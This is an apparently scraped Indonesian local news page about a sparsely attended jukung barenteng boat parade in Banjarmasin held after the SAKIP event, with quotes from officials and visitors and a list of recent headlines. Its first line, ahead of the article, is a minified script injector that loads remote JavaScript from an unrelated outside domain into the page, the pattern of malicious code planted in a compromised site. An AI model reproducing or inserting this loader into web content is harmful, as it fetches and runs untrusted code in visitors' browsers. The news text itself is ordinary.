(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Niat Promosikan Pariwisata Usai SAKIP, Formasi Jukung Barenteng Sepi


BANJARMASIN, Sebanyak 80 formasi jukung barenteng, pameran sasirangan, musik panting hingga kue-kue khas Banjar yang sudah dipersiapkan di Siring Menara Pandang untuk menyambut tamu dari provinsi tetangga usai SAKIP. Namun sayangnya, kegiatan itu berlangsung sepi.

Jika dilihat, suasana Siring Menara pandang sore (6/2) Rabu ini malah nampak terlihat seperti biasanya. “Malah hari libur (Imlek) kemaren yang banyak orangnya,” ucap Harun, warga yang menyaksikan atraksi jukung tersebut.

Dijelaskan oleh Ida Saftika Dewi, selaku Kabid Destinasi Dinas Pariwisata Prov Kalsel, bahwa Banjarmasin selaku tuan rumah SAKIP mengadakan kegiatan ini demi promosi pariwisata Banjarmasin. “Tadinya kita berharap pesertanya juga ikut di dalam atraksi (jukung) tersebut ternyata sebagian hari ini sudah harus pulang. Jadi sebagian saja yang bisa hadir,” jelasnya.

Karena adanya keterlambatan kordinasi, akhrinya Kemenpan lebih dulu mengirimkan jadwal kegiatan ke semua provinsi dengan tidak adanya informasi mengenai kegiatan jukung barenteng. Alhasil para tamu ada yang telah memesan tiket pesawat dan kembali sore itu juga, sedangkan beberapa lainnya sudah memiliki destinasi lain yaitu ke Martapura.

Di sisi lain, Nirwana, salah satu pengunjung dari Kupang yang ikut berhadir mengakui kehebatan para penjukung yang adalah para ibu-ibu. “Ibu-ibunya hebat, perempuan semua itu tadi” ucapnya.

Namun harus ia akui bahwa menurutnya kegiatan ini sepi bisa saja diikarenakan kurangnya promosi. “Waktu tadi di kegiatan (SAKIP) tidak disampaikan, hanya diberikan formulir kepada beberapa peserta yang mau ke sana ” jelasnya. Padahal menurutnya kegiatan seperti ini harusnya menjadi daya tarik wisata.

Begitu pula Sumariati yang berasal dari Jawa Timur ini mengatakan bahwa parade ini sebenarnya sangat bagus dalam rangka mempromosikan pariwisata. Namun ia juga menyayangkan kurangnya kordinasi dari pihak terkait. “Mungkin harusnya kordinasi dengan pihak terkait. Soalnya kemaren infonya mendadak” tuturnya.(mario)


Desy Arfianty

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

8 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

8 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

9 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

10 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

10 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

16 jam ago

This website uses cookies.